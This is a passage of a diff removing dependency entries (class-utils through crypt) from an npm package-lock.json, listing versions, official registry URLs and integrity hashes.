"sha512-4CoL/A3hf90V3VIEjeuhSvlGFEHKzOz+Wfc2IVZc+FaUgU0ZQafJTP49fvnULipOPcAfqhyI2duwQyns6xqjYA==", - "dev": true, - "requires": { - "chalk": "^1.1.3" - } - }, - "class-utils": { - "version": "0.3.6", - "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", - "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", - "dev": true, - "requires": { - "arr-union": "^3.1.0", - "define-property": "^0.2.5", - "isobject": "^3.0.0", - "static-extend": "^0.1.1" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "classnames": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.6.tgz", - "integrity": "sha512-JR/iSQOSt+LQIWwrwEzJ9uk0xfN3mTVYMwt1Ir5mUcSN6pU+V4zQFFaJsclJbPuAUQH+yfWef6tm7l1quW3C8Q==" - }, - "cli": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", - "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", - "dev": true, - "requires": { - "exit": "0.1.2", - "glob": "^7.1.1" - }, - "dependencies": { - "glob": { - "version": "7.1.2", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", - "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - } - } - }, - "cli-cursor": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", - "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", - "dev": true, - "requires": { - "restore-cursor": "^2.0.0" - } - }, - "cli-width": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", - "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", - "dev": true - }, - "cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "dev": true, - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - } - }, - "clone": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", - "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", - "dev": true - }, - "clone-deep": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-2.0.2.tgz", - "integrity": "sha512-SZegPTKjCgpQH63E+eN6mVEEPdQBOUzjyJm5Pora4lrwWRFS8I0QAxV/KD6vV/i0WuijHZWQC1fMsPEdxfdVCQ==", - "dev": true, - "requires": { - "for-own": "^1.0.0", - "is-plain-object": "^2.0.4", - "kind-of": "^6.0.0", - "shallow-clone": "^1.0.0" - }, - "dependencies": { - "for-own": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz", - "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=", - "dev": true, - "requires": { - "for-in": "^1.0.1" - } - }, - "kind-of": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", - "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", - "dev": true - } - } - }, - "co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "dev": true - }, - "coa": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/coa/-/coa-1.0.4.tgz", - "integrity": "sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=", - "dev": true, - "requires": { - "q": "^1.1.2" - } - }, - "code-point-at": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", - "dev": true - }, - "codeceptjs": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/codeceptjs/-/codeceptjs-2.2.0.tgz", - "integrity": "sha512-Ke/kgBUVchw/cj6EmysJ48Y+N+Sn+F12Emsfm2PS009bEx7WgZfrX3LSPTMqNbLwHpAlhG4JxWb8e1OLAFu3GA==", - "dev": true, - "requires": { - "allure-js-commons": "^1.3.2", - "archiver": "^3.0.0", - "axios": "^0.19.0", - "chalk": "^1.1.3", - "commander": "^2.20.0", - "css-to-xpath": "^0.1.0", - "cucumber-expressions": "^6.0.1", - "escape-string-regexp": "^1.0.3", - "figures": "^2.0.0", - "fn-args": "^4.0.0", - "fs-extra": "^8.0.1", - "gherkin": "^5.1.0", - "glob": "^6.0.1", - "inquirer": "^6.3.1", - "js-beautify": "^1.9.1", - "lodash.merge": "^4.6.1", - "mkdirp": "^0.5.1", - "mocha": "^4.1.0", - "mocha-junit-reporter": "^1.22.0", - "parse-function": "^5.2.10", - "promise-retry": "^1.1.1", - "requireg": "^0.1.8", - "resq": "^1.5.0", - "sprintf-js": "^1.1.1" - }, - "dependencies": { - "ansi-escapes": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", - "dev": true - }, - "ansi-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", - "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", - "dev": true - }, - "ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "requires": { - "color-convert": "^1.9.0" - } - }, - "chardet": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", - "dev": true - }, - "color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "commander": { - "version": "2.20.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.0.tgz", - "integrity": "sha512-7j2y+40w61zy6YC2iRNpUe/NwhNyoXrYpHMrSunaMG64nRnaf96zO/KMQR4OyN/UnE5KLyEBnKHd4aG3rskjpQ==", - "dev": true - }, - "external-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", - "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", - "dev": true, - "requires": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" - } - }, - "glob": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/glob/-/glob-6.0.4.tgz", - "integrity": "sha1-DwiGD2oVUSey+t1PnOJLGqtuTSI=", - "dev": true, - "requires": { - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "2 || 3", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true - }, - "iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dev": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "inquirer": { - "version": "6.5.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-6.5.0.tgz", - "integrity": "sha512-scfHejeG/lVZSpvCXpsB4j/wQNPM5JC8kiElOI0OUTwmc1RTpXr4H32/HOlQHcZiYl2z2VElwuCVDRG8vFmbnA==", - "dev": true, - "requires": { - "ansi-escapes": "^3.2.0", - "chalk": "^2.4.2", - "cli-cursor": "^2.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.3", - "figures": "^2.0.0", - "lodash": "^4.17.12", - "mute-stream": "0.0.7", - "run-async": "^2.2.0", - "rxjs": "^6.4.0", - "string-width": "^2.1.0", - "strip-ansi": "^5.1.0", - "through": "^2.3.6" - }, - "dependencies": { - "chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - } - } - } - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true - }, - "lodash": { - "version": "4.17.15", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", - "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==", - "dev": true - }, - "sprintf-js": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", - "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", - "dev": true - }, - "string-width": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", - "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", - "dev": true, - "requires": { - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^4.0.0" - }, - "dependencies": { - "strip-ansi": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", - "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", - "dev": true, - "requires": { - "ansi-regex": "^3.0.0" - } - } - } - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - } - } - }, - "supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "requires": { - "has-flag": "^3.0.0" - } - } - } - }, - "coffee-loader": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/coffee-loader/-/coffee-loader-0.8.0.tgz", - "integrity": "sha1-7EjnMn2o46mQR6mdm9z8rBLfNpQ=", - "dev": true, - "requires": { - "loader-utils": "^1.0.2" - } - }, - "coffeescript": { - "version": "1.12.7", - "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.12.7.tgz", - "integrity": "sha1-5X7kxIZ89/YGv8Sg8tVQwJgd3Sc=", - "dev": true - }, - "collection-visit": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", - "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", - "dev": true, - "requires": { - "map-visit": "^1.0.0", - "object-visit": "^1.0.0" - } - }, - "color": { - "version": "0.11.4", - "resolved": "https://registry.npmjs.org/color/-/color-0.11.4.tgz", - "integrity": "sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=", - "dev": true, - "requires": { - "clone": "^1.0.2", - "color-convert": "^1.3.0", - "color-string": "^0.3.0" - }, - "dependencies": { - "color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "requires": { - "color-name": "1.1.1" - } - }, - "color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - } - } - }, - "color-convert": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-0.5.3.tgz", - "integrity": "sha1-vbbGnOZg+t/+CwAHzER+G59ygr0=" - }, - "color-name": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", - "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" - }, - "color-string": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-0.3.0.tgz", - "integrity": "sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=", - "dev": true, - "requires": { - "color-name": "^1.0.0" - } - }, - "colormin": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colormin/-/colormin-1.1.2.tgz", - "integrity": "sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=", - "dev": true, - "requires": { - "color": "^0.11.0", - "css-color-names": "0.0.4", - "has": "^1.0.1" - } - }, - "colors": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz", - "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM=", - "dev": true - }, - "combine-source-map": { - "version": "0.8.0", - "resolved": "https://registry.npmjs.org/combine-source-map/-/combine-source-map-0.8.0.tgz", - "integrity": "sha1-pY0N8ELBhvz4IqjoAV9UUNLXmos=", - "dev": true, - "requires": { - "convert-source-map": "~1.1.0", - "inline-source-map": "~0.6.0", - "lodash.memoize": "~3.0.3", - "source-map": "~0.5.3" - } - }, - "combined-stream": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.6.tgz", - "integrity": "sha1-cj599ugBrFYTETp+RFqbactjKBg=", - "dev": true, - "requires": { - "delayed-stream": "~1.0.0" - } - }, - "commander": { - "version": "2.15.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-2.15.1.tgz", - "integrity": "sha512-VlfT9F3V0v+jr4yxPc5gg9s62/fIVWsd2Bk2iD435um1NlGMYdVCq+MjcXnhYq2icNOizHr1kK+5TI6H0Hy0ag==", - "dev": true - }, - "commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", - "dev": true - }, - "component-emitter": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", - "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", - "dev": true - }, - "compress-commons": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-1.2.2.tgz", - "integrity": "sha1-UkqfEJA/OoEzibAiXSfEi7dRiQ8=", - "dev": true, - "requires": { - "buffer-crc32": "^0.2.1", - "crc32-stream": "^2.0.0", - "normalize-path": "^2.0.0", - "readable-stream": "^2.0.0" - }, - "dependencies": { - "crc32-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", - "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", - "dev": true, - "requires": { - "crc": "^3.4.4", - "readable-stream": "^2.0.0" - } - } - } - }, - "concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true - }, - "concat-stream": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.5.2.tgz", - "integrity": "sha1-cIl4Yk2FavQaWnQd790mHadSwmY=", - "dev": true, - "requires": { - "inherits": "~2.0.1", - "readable-stream": "~2.0.0", - "typedarray": "~0.0.5" - }, - "dependencies": { - "readable-stream": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz", - "integrity": "sha1-j5A0HmilPMySh4jaz80Rs265t44=", - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.1", - "isarray": "~1.0.0", - "process-nextick-args": "~1.0.6", - "string_decoder": "~0.10.x", - "util-deprecate": "~1.0.1" - } - } - } - }, - "config-chain": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz", - "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==", - "dev": true, - "requires": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" - } - }, - "console-browserify": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-browserify/-/console-browserify-1.1.0.tgz", - "integrity": "sha1-8CQcRXMKn8YyOyBtvzjtx0HQuxA=", - "dev": true, - "requires": { - "date-now": "^0.1.4" - } - }, - "console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", - "dev": true - }, - "consolidate": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/consolidate/-/consolidate-0.14.5.tgz", - "integrity": "sha1-WiUEe8dvcwcmZ8jLUsmJiI9JTGM=", - "dev": true, - "requires": { - "bluebird": "^3.1.1" - } - }, - "constantinople": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/constantinople/-/constantinople-4.0.1.tgz", - "integrity": "sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==", - "dev": true, - "requires": { - "@babel/parser": "^7.6.0", - "@babel/types": "^7.6.1" - } - }, - "constants-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", - "integrity": "sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=", - "dev": true - }, - "continuable-cache": { - "version": "0.3.1", - "resolved": "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz", - "integrity": "sha1-vXJ6f67XfnH/OYWskzUakSczrQ8=", - "dev": true - }, - "convert-source-map": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.1.3.tgz", - "integrity": "sha1-SCnId+n+SbMWHzvzZziI4gRpmGA=", - "dev": true - }, - "copy-concurrently": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", - "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", - "dev": true, - "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - } - }, - "copy-descriptor": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", - "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", - "dev": true - }, - "core-js": { - "version": "2.5.7", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", - "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==" - }, - "core-js-compat": { - "version": "3.6.5", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.6.5.tgz", - "integrity": "sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==", - "dev": true, - "requires": { - "browserslist": "^4.8.5", - "semver": "7.0.0" - }, - "dependencies": { - "browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - } - }, - "caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - }, - "semver": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", - "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", - "dev": true - } - } - }, - "core-util-is": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true - }, - "cosmiconfig": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-2.2.2.tgz", - "integrity": "sha1-YXPOvVb6wELB9DkO33r2wHx8uJI=", - "dev": true, - "requires": { - "is-directory": "^0.3.1", - "js-yaml": "^3.4.3", - "minimist": "^1.2.0", - "object-assign": "^4.1.0", - "os-homedir": "^1.0.1", - "parse-json": "^2.2.0", - "require-from-string": "^1.1.0" - } - }, - "crc": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/crc/-/crc-3.5.0.tgz", - "integrity": "sha1-mLi6fUiWZbo5efWbITgTdBAaGWQ=", - "dev": true - }, - "crc32-stream": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-2.0.0.tgz", - "integrity": "sha1-483TtN8xaN10494/u8t7KX/pCPQ=", - "dev": true, - "requires": { - "crc": "^3.4.4", - "readable-stream": "^2.0.0" - } - }, - "create-ecdh": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.0.tgz", - "integrity": "sha1-iIxyNZbN92EvZJgjPuvXo1MBc30=", - "dev": true, - "requires": { - "bn.js": "^4.1.0", - "elliptic": "^6.0.0" - } - }, - "create-hash": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.1.3.tgz", - "integrity": "sha1-YGBCrIuSYnUPSDyt2rD1gZFy2P0=", - "dev": true, - "requires": { - "cipher-base": "^1.0.1", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "sha.js": "^2.4.0" - } - }, - "create-hmac": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.6.tgz", - "integrity": "sha1-rLniIaThe9sHbpBlfEK5PjcmzwY=", - "dev": true, - "requires": { - "cipher-base": "^1.0.3", - "create-hash": "^1.1.0", - "inherits": "^2.0.1", - "ripemd160": "^2.0.0", - "safe-buffer": "^5.0.1", - "sha.js": "^2.4.8" - } - }, - "create-react-class": { - "version": "15.6.3", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", - "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", - "dev": true, - "requires": { - "fbjs": "^0.8.9", - "loose-envify": "^1.3.1", - "object-assign": "^4.1.1" - } - }, - "cross-env": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/cross-env/-/cross-env-5.2.0.tgz", - "integrity": "sha512-jtdNFfFW1hB7sMhr/H6rW1Z45LFqyI431m3qU6bFXcQ3Eh7LtBuG3h74o7ohHZ3crrRkkqHlo4jYHFPcjroANg==", - "dev": true, - "requires": { - "cross-spawn": "^6.0.5", - "is-windows": "^1.0.0" - }, - "dependencies": { - "cross-spawn": { - "version": "6.0.5", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", - "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", - "dev": true, - "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - } - }, - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "cross-spawn": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", - "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - }, - "dependencies": { - "which": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", - "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } - } - } - }, - "crypt": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", - 